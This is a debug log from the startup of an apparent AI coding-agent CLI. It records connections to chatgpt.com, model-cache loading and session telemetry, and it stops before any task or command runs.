2026-07-12T04:02:13.831937Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.832Z] [INFO] \n[2026-07-12T04:02:13.834Z] [INFO] 2026-07-12T04:02:13.833254Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.834Z] [INFO] 2026-07-12T04:02:13.833717Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:13.834Z] [INFO] \n[2026-07-12T04:02:13.840Z] [INFO] 2026-07-12T04:02:13.839723Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:13.840Z] [INFO] 2026-07-12T04:02:13.839827Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:13.840Z] [INFO] \n[2026-07-12T04:02:13.849Z] [INFO] 2026-07-12T04:02:13.848731Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.849Z] [INFO] \n[2026-07-12T04:02:13.853Z] [INFO] 2026-07-12T04:02:13.851271Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:13.853Z] [INFO] \n[2026-07-12T04:02:13.856Z] [INFO] 2026-07-12T04:02:13.853855Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_config::loader::layer_io: /etc/codex/managed_config.toml not found\n[2026-07-12T04:02:13.856Z] [INFO] \n[2026-07-12T04:02:13.857Z] [INFO] 2026-07-12T04:02:13.855155Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:13.857Z] [INFO] \n[2026-07-12T04:02:13.877Z] [INFO] 2026-07-12T04:02:13.876651Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:13.877Z] [INFO] \n[2026-07-12T04:02:13.883Z] [INFO] 2026-07-12T04:02:13.883012Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.883Z] [INFO] \n[2026-07-12T04:02:13.917Z] [INFO] 2026-07-12T04:02:13.917375Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_core::exec_policy: loaded rules from 0 files\n[2026-07-12T04:02:13.917Z] [INFO] \n[2026-07-12T04:02:13.921Z] [INFO] 2026-07-12T04:02:13.917555Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.921Z] [INFO] \n[2026-07-12T04:02:13.926Z] [INFO] 2026-07-12T04:02:13.923310Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:load: codex_core::exec_policy: loaded rules from 0 files\n[2026-07-12T04:02:13.926Z] [INFO] 2026-07-12T04:02:13.923525Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::manager: models cache: evaluating cache eligibility client_version=\"0.144.1\"\n[2026-07-12T04:02:13.926Z] [INFO] 2026-07-12T04:02:13.923541Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::cache: models cache: attempting load_fresh cache_path=/home/box/.codex/models_cache.json expected_version=\"0.144.1\"\n[2026-07-12T04:02:13.926Z] [INFO] \n[2026-07-12T04:02:13.928Z] [INFO] 2026-07-12T04:02:13.926287Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::cache: models cache: loaded cache file cache_path=/home/box/.codex/models_cache.json cached_version=Some(\"0.144.1\") fetched_at=2026-07-12 04:02:11.395819137 UTC\n[2026-07-12T04:02:13.928Z] [INFO] 2026-07-12T04:02:13.926367Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::cache: models cache: cache hit cache_path=/home/box/.codex/models_cache.json cache_ttl_secs=300\n[2026-07-12T04:02:13.928Z] [INFO] \n[2026-07-12T04:02:13.930Z] [INFO] 2026-07-12T04:02:13.927193Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::manager: models cache: cache entry applied models_count=8 etag=Some(\"W/\\\"db2a6dc50b1d003969cdc236274e488a\\\"\")\n[2026-07-12T04:02:13.930Z] [INFO] \n[2026-07-12T04:02:13.932Z] [INFO] 2026-07-12T04:02:13.929115Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.remote_models.load_cache.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:13.932Z] [INFO] 2026-07-12T04:02:13.929159Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::manager: models cache: using cached models for OnlineIfUncached\n[2026-07-12T04:02:13.932Z] [INFO] \n[2026-07-12T04:02:13.933Z] [INFO] 2026-07-12T04:02:13.930708Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init: codex_core::session::session: Configuring session: model=gpt-5.6-sol; provider=ModelProviderInfo { name: \"OpenAI\", base_url: None, env_key: None, env_key_instructions: None, experimental_bearer_token: None, auth: None, aws: None, wire_api: Responses, query_params: None, http_headers: Some({\"version\": \"0.144.1\"}), env_http_headers: Some({\"OpenAI-Project\": \"OPENAI_PROJECT\", \"OpenAI-Organization\": \"OPENAI_ORGANIZATION\"}), request_max_retries: None, stream_max_retries: None, stream_idle_timeout_ms: None, websocket_connect_timeout_ms: None, requires_openai_auth: true, supports_websockets: true }\n[2026-07-12T04:02:13.933Z] [INFO] \n[2026-07-12T04:02:13.946Z] [INFO] 2026-07-12T04:02:13.945411Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:13.946Z] [INFO] 2026-07-12T04:02:13.945629Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:13.946Z] [INFO] 2026-07-12T04:02:13.945681Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_http_client::default_client: Request completed method=GET url=https://chatgpt.com/backend-api/codex/models?client_version=0.144.1 status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:13 GMT\", \"content-type\": \"application/json\", \"content-length\": \"274771\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"etag\": \"W/\\\"db2a6dc50b1d003969cdc236274e488a\\\"\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"e4f67537-c8f8-487c-a467-cc676647b938\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=1ZGU2iZMF3y1zqCmH%2F8z8uMP57PhYrUElmANYKW%2B4w0Dzos4mX9tqXNMNu9WDmhPPTxE0qh%2FrFUXaPuS%2Fl8EprNw52%2BMs4tPjQSuvs%2FDNam4HiZv5iCmHFZF3Vib\\\"}]}\", \"set-cookie\": \"__cf_bm=pl6OsR3G1zm6AQgYEt0PogKE5Nmaa.AMKq8rLigzCCs-1783828933.8384676-1.0.1.1-DVKeoRNRLQGWJ4TsYwK7ixOFt15p8vqX0YmPJdSx5YhmGEA5S3ozqNqYAixYVAEMB3KGJ.UDz3rTGRkvDyYCWAOlwYjeRkcafvKu3eGYKxvCtiOQ9Y_QHLKcAPfsCtjv; HttpOnly; SameSite=None; Secure; Path=/; Domain=chatgpt.com; Expires=Sun, 12 Jul 2026 04:32:13 GMT\", \"set-cookie\": \"__cflb=0H28vzvP5FJafnkHxiscCAnG4G7GWLMkmGiXsDbxixj; HttpOnly; SameSite=None; Secure; Path=/; Expires=Sun, 12 Jul 2026 05:02:13 GMT\", \"cf-ray\": \"a19d26b47f8a18ff-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:13.946Z] [INFO] \n[2026-07-12T04:02:13.951Z] [INFO] 2026-07-12T04:02:13.948538Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.951Z] [INFO] \n[2026-07-12T04:02:13.964Z] [INFO] 2026-07-12T04:02:13.964343Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.964Z] [INFO] \n[2026-07-12T04:02:13.971Z] [INFO] 2026-07-12T04:02:13.967010Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.thread.started\" cardinality_limit=2000\n[2026-07-12T04:02:13.971Z] [INFO] 2026-07-12T04:02:13.967154Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init: codex_otel.log_only: event.name=\"codex.conversation_starts\" provider_name=OpenAI auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false reasoning_effort=\"medium\" reasoning_summary=auto context_window=200000 auto_compact_token_limit=150000 approval_policy=never sandbox_policy=danger-full-access mcp_servers=\"playwright, codex_apps\" event.timestamp=2026-07-12T04:02:13.967Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:13.971Z] [INFO] 2026-07-12T04:02:13.967192Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init: codex_otel.trace_safe: event.name=\"codex.conversation_starts\" provider_name=OpenAI auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false reasoning_effort=\"medium\" reasoning_summary=auto context_window=200000 auto_compact_token_limit=150000 approval_policy=never sandbox_policy=danger-full-access mcp_server_count=2 event.timestamp=2026-07-12T04:02:13.967Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:13.971Z] [INFO] \n[2026-07-12T04:02:13.989Z] [INFO] 2026-07-12T04:02:13.987484Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:13.989Z] [INFO] 2026-07-12T04:02:13.987610Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:13.989Z] [INFO] 2026-07-12T04:02:13.987652Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:13.989Z] [INFO] 2026-07-12T04:02:13.987682Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:13.989Z] [INFO] 2026-07-12T04:02:13.989042Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:13.989Z] [INFO] \n[2026-07-12T04:02:13.996Z] [INFO] 2026-07-12T04:02:13.990552Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.log_only: event.name=\"codex.api_request\" duration_ms=205 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:02:13.996Z] [INFO] 2026-07-12T04:02:13.990618Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.trace_safe: event.name=\"codex.api_request\" duration_ms=205 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:02:13.996Z] [INFO] \n[2026-07-12T04:02:14.002Z] [INFO] 2026-07-12T04:02:13.990646Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: feedback_tags: endpoint=\"/models\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:14.002Z] [INFO] \n[2026-07-12T04:02:14.004Z] [INFO] 2026-07-12T04:02:13.997417Z DEBUG list_models{refresh_strategy=online}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.remote_models.fetch_update.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:14.004Z] [INFO] \n[2026-07-12T04:02:14.017Z] [INFO] 2026-07-12T04:02:14.016873Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.017Z] [INFO] \n[2026-07-12T04:02:14.076Z] [INFO] 2026-07-12T04:02:14.075108Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.076Z] [INFO] 2026-07-12T04:02:14.075475Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.076Z] [INFO] 2026-07-12T04:02:14.075760Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.076Z] [INFO] \n[2026-07-12T04:02:14.079Z] [INFO] 2026-07-12T04:02:14.076760Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.079Z] [INFO] \n[2026-07-12T04:02:14.083Z] [INFO] 2026-07-12T04:02:14.079386Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.083Z] [INFO] \n[2026-07-12T04:02:14.086Z] [INFO] 2026-07-12T04:02:14.080390Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.086Z] [INFO] \n[2026-07-12T04:02:14.088Z] [INFO] 2026-07-12T04:02:14.082732Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.088Z] [INFO] \n[2026-07-12T04:02:14.105Z] [INFO] 2026-07-12T04:02:14.104925Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.105Z] [INFO] \n[2026-07-12T04:02:14.134Z] [INFO] 2026-07-12T04:02:14.134248Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.134Z] [INFO] \n[2026-07-12T04:02:14.161Z] [INFO] 2026-07-12T04:02:14.160478Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.161Z] [INFO] 2026-07-12T04:02:14.160624Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.161Z] [INFO] \n[2026-07-12T04:02:14.162Z] [INFO] 2026-07-12T04:02:14.160915Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.162Z] [INFO] \n[2026-07-12T04:02:14.164Z] [INFO] 2026-07-12T04:02:14.164128Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.164Z] [INFO] \n[2026-07-12T04:02:14.167Z] [INFO] 2026-07-12T04:02:14.164754Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.167Z] [INFO] \n[2026-07-12T04:02:14.169Z] [INFO] 2026-07-12T04:02:14.168326Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.169Z] [INFO] \n[2026-07-12T04:02:14.171Z] [INFO] 2026-07-12T04:02:14.169622Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.171Z] [INFO] \n[2026-07-12T04:02:14.189Z] [INFO] 2026-07-12T04:02:14.189008Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.189Z] [INFO] 2026-07-12T04:02:14.189092Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:14.189Z] [INFO] 2026-07-12T04:02:14.189124Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.189Z] [INFO] 2026-07-12T04:02:14.189135Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.189Z] [INFO] \n[2026-07-12T04:02:14.212Z] [INFO] 2026-07-12T04:02:14.211638Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.startup.phase.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:14.212Z] [INFO] 2026-07-12T04:02:14.211722Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"thread_start_create_thread\" startup.status=\"ready\" duration_ms=293 event.timestamp=2026-07-12T04:02:14.211Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.212Z] [INFO] 2026-07-12T04:02:14.211737Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"thread_start_create_thread\" startup.status=\"ready\" duration_ms=293 event.timestamp=2026-07-12T04:02:14.211Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.212Z] [INFO] \n[2026-07-12T04:02:14.221Z] [INFO] 2026-07-12T04:02:14.220996Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.221Z] [INFO] \n[2026-07-12T04:02:14.240Z] [INFO] 2026-07-12T04:02:14.240017Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:14.240Z] [INFO] \n[2026-07-12T04:02:14.242Z] [INFO] 2026-07-12T04:02:14.241144Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.242Z] [INFO] 2026-07-12T04:02:14.241203Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.242Z] [INFO] \n[2026-07-12T04:02:14.251Z] [INFO] 2026-07-12T04:02:14.246325Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.251Z] [INFO] \n[2026-07-12T04:02:14.286Z] [INFO] 2026-07-12T04:02:14.286027Z  INFO codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_create_turn_context\" duration_ms=74 event.timestamp=2026-07-12T04:02:14.286Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.286Z] [INFO] \n[2026-07-12T04:02:14.291Z] [INFO] 2026-07-12T04:02:14.286749Z  INFO codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_create_turn_context\" duration_ms=74 event.timestamp=2026-07-12T04:02:14.286Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.291Z] [INFO] \n[2026-07-12T04:02:14.293Z] [INFO] 2026-07-12T04:02:14.291673Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.293Z] [INFO] 2026-07-12T04:02:14.291773Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.293Z] [INFO] 2026-07-12T04:02:14.291802Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.293Z] [INFO] 2026-07-12T04:02:14.292237Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.293Z] [INFO] \n[2026-07-12T04:02:14.300Z] [INFO] 2026-07-12T04:02:14.294230Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.300Z] [INFO] \n[2026-07-12T04:02:14.307Z] [INFO] 2026-07-12T04:02:14.300572Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.307Z] [INFO] \n[2026-07-12T04:02:14.339Z] [INFO] 2026-07-12T04:02:14.304659Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"thread_start_total\" startup.status=\"ready\" duration_ms=722 event.timestamp=2026-07-12T04:02:14.304Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 